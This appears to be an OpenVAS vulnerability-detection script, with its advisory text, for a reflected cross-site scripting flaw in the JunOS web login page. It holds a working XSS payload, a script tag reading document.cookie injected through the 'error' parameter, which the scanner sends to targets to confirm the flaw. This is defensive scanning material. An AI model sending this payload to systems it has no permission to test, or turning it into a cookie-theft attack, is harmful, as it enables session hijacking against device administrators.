JunOS Web Login Cross Site Scripting Vulnerability

2013-11-18T00:00:00
ID OPENVAS:1361412562310803775
Type openvas
Reporter Copyright (C) 2013 Greenbone Networks GmbH
Modified 2017-03-30T00:00:00

Description

This host is running JunOS and is prone to cross-site scripting vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_junos_web_login_xss_vuln.nasl 5791 2017-03-30 13:06:07Z cfi $
#
# JunOS Web Login Cross Site Scripting Vulnerability
#
# Authors:
# Antu Sanadi <santu@secpod.com>
#
# Copyright:
# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

SCRIPT_OID  = "1.3.6.1.4.1.25623.1.0.803775";

if(description)
{
  script_oid(SCRIPT_OID);
  script_version("$Revision: 5791 $");
  script_bugtraq_id(63656);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-03-30 15:06:07 +0200 (Thu, 30 Mar 2017) $");
  script_tag(name:"creation_date", value:"2013-11-18 13:23:22 +0530 (Mon, 18 Nov 2013)");
  script_name("JunOS Web Login Cross Site Scripting Vulnerability");

  tag_summary = "This host is running JunOS and is prone to cross-site scripting
vulnerability.";

  tag_vuldetect = "Send a crafted exploit string via HTTP GET request and check whether it
is able to read the cookie or not.";

  tag_insight = "The flaw is due to an improper validation of user-supplied input via the
'error' parameter to the 'index.php', which allows the attackers to execute
arbitrary HTML and script code in a user's browser session in the context
of an affected site.";

  tag_impact = "Successful exploitation will allow remote attackers to execute arbitrary
HTML and script code in a user's browser session in the context of an affected
site.

Impact Level: Application";

  tag_affected = "JunOS version to 11.4 and prior (probably 12.1 and 12.3 vulnerable)";

  tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";


  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "vuldetect" , value : tag_vuldetect);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/63656");
  script_xref(name : "URL" , value : "http://exploitsdownload.com/exploit/na/junos-114-cross-site-scripting");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_mandatory_keys("Mbedthis-Appweb/banner");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

## Variable Initialization
port = "";
req = "";
res = "";

port = get_http_port(default:80);

banner = get_http_banner(port:port);
if("Server: Mbedthis-Appweb/" >!< banner){
  exit(0);
}

res = http_get_cache(item:"/index.php", port:port);

## Confirm the application
if(res =~ "HTTP/1\.. 200" && "Juniper Networks, Inc" >< res && ">Log In" >< res)
{
  ## Construct the attack request
  url = '/index.php?name=Your_Account&error=1"><script>' +
        'alert(document.cookie)<%2Fscript>&uname=bGF';

  ## Confirm the exploit
  if(http_vuln_check(port:port, url:url, check_header:TRUE,
     pattern:"><script>alert\(document\.cookie\)</script>",
     extra_check: make_list(">Log In", "Juniper Networks")))
  {
    report = report_vuln_url( port:port, url:url );
    security_message(port:port, data:report);
    exit(0);
  }
}